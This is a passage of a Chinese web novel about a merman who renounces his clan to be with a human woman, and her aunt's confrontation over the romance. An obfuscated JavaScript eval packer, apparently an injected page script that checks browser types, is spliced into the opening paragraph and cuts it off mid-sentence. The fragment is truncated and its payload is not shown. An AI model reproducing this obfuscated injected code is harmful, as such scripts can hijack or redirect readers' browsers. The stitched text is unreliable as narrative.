擦拭完墓碑,她又用扫帚清扫掉落的树叶,才提着东西离开。 路过海岸,她望向大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沧冥眼皮都没抬,只是轻嗯了一声。 幼鲛道:“我们不是叫那人不要等你,怎么就变成以身相许了?” 他回归鲛人族,自然知道沧冥只是为了报恩,之前只是他多想,现在看来是他太敏锐了! 离走前说得四日回来,不会是他想得那样? 两人游至族长居所,幼鲛想还真是这样! 鲛人族族长是位蓝发蓝眸的女鲛人,活了上千年,保留着年轻时的相貌。 她眼神柔和地问:“可有什么事?” 幼鲛很想摆摆手,说没有事。 可沧溟却将手举过头顶,在放到胸前,这是鲛人恳求的举动。 沧冥沉声道:“我犯了族规,自愿受罚。” 族长道:“你一向是最守规矩,念在你是初犯,肯知悔改,责罚便免了。” 沧溟抬眼:“可我不想改。” “我爱上一人类,纵使万般克制,可心不由己,有愧族长多年相护之恩,今日特地脱离鲛人族,个人生死再与族中再无干系。” 还没等族长说话,幼鲛急急开口,“你可知鲛人脱离族群要受到什么惩罚?” 鲛人是最离不开水,若想脱离族群,便要离水四日,活下来就算是命大。 族长道:“你可想好了,不悔?” “不悔,沧冥心甘情愿。” 12. 第 12 章 李海珠回到家中,姑姑在院子里喝茶,她下意识转了个弯,要去外面躲躲。 “站住。” 她讪笑回头,最近姑姑带她相看简直是魔怔了,一茬接着一茬,也不知道从哪里找得那么多人。 “把门关上,到屋内说。” 两人进屋,坐在床铺上,姑姑冷声道:“和那人断没有?” “姑姑放心,我没有当有钱人家的外室。” “我是说你那人断没有!” 姑姑见人不吭声,道:“是鲛人,对吗?” 李海珠猛然抬头,“……您……怎么知道?” “我如何不知道,从小到大你那些东西都是换着地方藏,只是我和你爹娘假装不刻意去翻!” 姑姑一直疑惑那么多的人家,这侄女没有一个瞧得上,看见数不清的鲛绡,原来问题是出在这里。 “你……你怎么能做出……做出这般惊天骇俗的事!” 李海珠坚定说道:“姑姑,我喜欢他!” “他是一个鲛人,你的喜欢会害了你!” 姑姑背着手,来回踱步,“跟他断了,立刻!” “我不!”李海珠抓住姑姑的手臂,“我想和喜欢的人成亲,而不是随随便便什么人。” “喜欢也会消散,就像过年时的烟花,转瞬即逝,到时候只会留下怨怼。” “就算是烟花也曾绽放过,我有承担的勇气。”李海珠话软了软,“爹不也是喜欢娘,才抗拒从小到大的娃娃亲。” “你以为你爹为什么要给你招个赘婿,正是因为这条路太难走了,他一个男子尚且如此,更何况你是一个女子。”< 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